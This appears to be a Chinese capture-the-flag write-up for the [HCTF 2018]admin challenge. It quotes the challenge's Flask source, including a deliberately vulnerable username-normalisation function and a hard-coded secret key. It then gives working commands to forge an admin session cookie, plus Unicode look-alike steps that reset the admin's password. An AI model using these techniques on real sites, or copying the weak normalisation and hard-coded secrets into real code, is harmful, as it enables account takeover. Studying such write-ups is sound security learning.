[HCTF 2018]admin – buu刷题笔记

首先爬一遍整个网站,发现有没注册的时候有“login”,”register“,

这两个页面,注册一个123用户登录后发现有 \"index“,”post“,”logout“”change password“这四个界面,

根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?

然后我在login界面输入用户名”admin“,密码”123“(弱口令)结果猝不及防

图片[1]-[HCTF 2018]admin – buu刷题笔记-安全小天地

喵喵喵???还没开始就结束了?

还是来具体解题方法:欺骗服务器,假装自己是admin

解法一:flask session伪造

 在”change password”页面发现了提示

图片[2]-[HCTF 2018]admin – buu刷题笔记-安全小天地
https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
 
@app.route(\'/code\')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, \'jpeg\')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers[\'Content-Type\'] = \'image/gif\'
    # 将验证码字符串储存在session中
    session[\'image\'] = code
    return response
 
@app.route(\'/\')
@app.route(\'/index\')
def index():
    return render_template(\'index.html\', title = \'hctf\')
 
@app.route(\'/register\', methods = [\'GET\', \'POST\'])
def register():
 
    if current_user.is_authenticated:
        return redirect(url_for(\'index\'))
 
    form = RegisterForm()
    if request.method == \'POST\':
        name = strlower(form.username.data)
        if session.get(\'image\').lower() != form.verify_code.data.lower():
            flash(\'Wrong verify code.\')
            return render_template(\'register.html\', title = \'register\', form=form)
        if User.query.filter_by(username = name).first():
            flash(\'The username has been registered\')
            return redirect(url_for(\'register\'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash(\'register successful\')
        return redirect(url_for(\'login\'))
    return render_template(\'register.html\', title = \'register\', form = form)
 
@app.route(\'/login\', methods = [\'GET\', \'POST\'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for(\'index\'))
 
    form = LoginForm()
    if request.method == \'POST\':
        name = strlower(form.username.data)
        session[\'name\'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash(\'Invalid username or password\')
            return redirect(url_for(\'login\'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for(\'index\'))
    return render_template(\'login.html\', title = \'login\', form = form)
 
@app.route(\'/logout\')
def logout():
    logout_user()
    return redirect(\'/index\')
 
@app.route(\'/change\', methods = [\'GET\', \'POST\'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for(\'login\'))
    form = NewpasswordForm()
    if request.method == \'POST\':
        name = strlower(session[\'name\'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash(\'change successful\')
        return redirect(url_for(\'index\'))
    return render_template(\'change.html\', title = \'change\', form = form)
 
@app.route(\'/edit\', methods = [\'GET\', \'POST\'])
def edit():
    if request.method == \'POST\':
         
        flash(\'post successful\')
        return redirect(url_for(\'index\'))
    return render_template(\'edit.html\', title = \'edit\')
 
@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template(\'errors.html\', title=title, message=message)
 
def strlower(username):
    username = nodeprep.prepare(username)
return username

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为:eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:

from itsdangerous import *
s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"
data,timestamp,secret = s.split(\'.\')
int.from_bytes(base64_decode(timestamp),byteorder=\'big\')
from itsdangerous import *
s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"
data,timestamp,secret = s.split(\'.\')
print(\"data=\",data,\" ; timestamp = \",timestamp,\" ; secret = \",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder=\'big\'))
print(int.from_bytes(base64_decode(secret),byteorder=\'big\'))
图片[3]-[HCTF 2018]admin – buu刷题笔记-安全小天地
int.from_bytes函数
    功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
    函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
            bytes是输入的变量;        base64_decode(timestamp)=b\'\\\\\\r\\xda\\xe0\'
            signed=True表示需要考虑符号位。
    举例说明:int_s  = int.from_bytes(s, byteorder=\'little\', signed=True),其中s=\'\\xf1\\xff\',则输出int_s=-15。
            分析一下过程,\'\\x\'表示十六进制数,先把\'f1\'写成二进制数:1111 0001,\'ff\'同上:1111 1111.     #小端法
            由于s的高低位标志是\'little\',即\'f1\'是低位,\'ff\'是高位,所以正确的顺序应该是\'fff1\',即11111111 1111 0001.
            又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。  
            上面的例子中,如果signed=False,则无符号位;
            若byteorder=\'big\',则输入s的左边是高位,右边是低位。     #大端法

这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz

python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc
图片[4]-[HCTF 2018]admin – buu刷题笔记-安全小天地
图片[5]-[HCTF 2018]admin – buu刷题笔记-安全小天地
https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os

class Config(object):
    SECRET_KEY = os.environ.get(\'SECRET_KEY\') or \'ckj123\'
    SQLALCHEMY_DATABASE_URI = \'mysql+pymysql://root:adsl1234@db:3306/test\'
SQLALCHEMY_TRACK_MODIFICATIONS = True
图片[6]-[HCTF 2018]admin – buu刷题笔记-安全小天地

session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊

图片[7]-[HCTF 2018]admin – buu刷题笔记-安全小天地
图片[8]-[HCTF 2018]admin – buu刷题笔记-安全小天地
python2 ./flask_session_cookie_manager2.py encode -s \"ckj123\" -t \"{\'_fresh\': True, \'_id\': b\'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4\', \'csrf_token\': b\'d2495789467d55d9e38c2ffd63e9c578ee1b267a\', \'image\': b\'BUXE\', \'name\': \'admin\', \'user_id\': \'10\'}\"
图片[9]-[HCTF 2018]admin – buu刷题笔记-安全小天地
https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
{% include(\'header.html\') %}
{% if current_user.is_authenticated %}
<h1 class=\"nav\">Hello {{ session[\'name\'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session[\'name\'] == \'admin\' %}
<h1 class=\"nav\">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class=\"nav\">Welcome to hctf</h1>

{% include(\'footer.html\') %}

解法二:Unicode欺骗

https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。

图片[10]-[HCTF 2018]admin – buu刷题笔记-安全小天地

1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456

图片[11]-[HCTF 2018]admin – buu刷题笔记-安全小天地

2.修改密码:111,然后退出

图片[12]-[HCTF 2018]admin – buu刷题笔记-安全小天地

3.用账号”admin“,密码:111成功登录

图片[1]-[HCTF 2018]admin – buu刷题笔记-安全小天地

 大致的思路是:

  • 在注册的时候  ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ ,
  • 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ ,
  • 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,
  • 而且在index.html中可以看到只要session[‘name’]==’admin’,
  • 也就是只要用户名是’admin‘就可成功登录了)

所以flag为flag{ef16ac93-e900-4a1e-b877-79dfb69cd064}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片

    暂无评论内容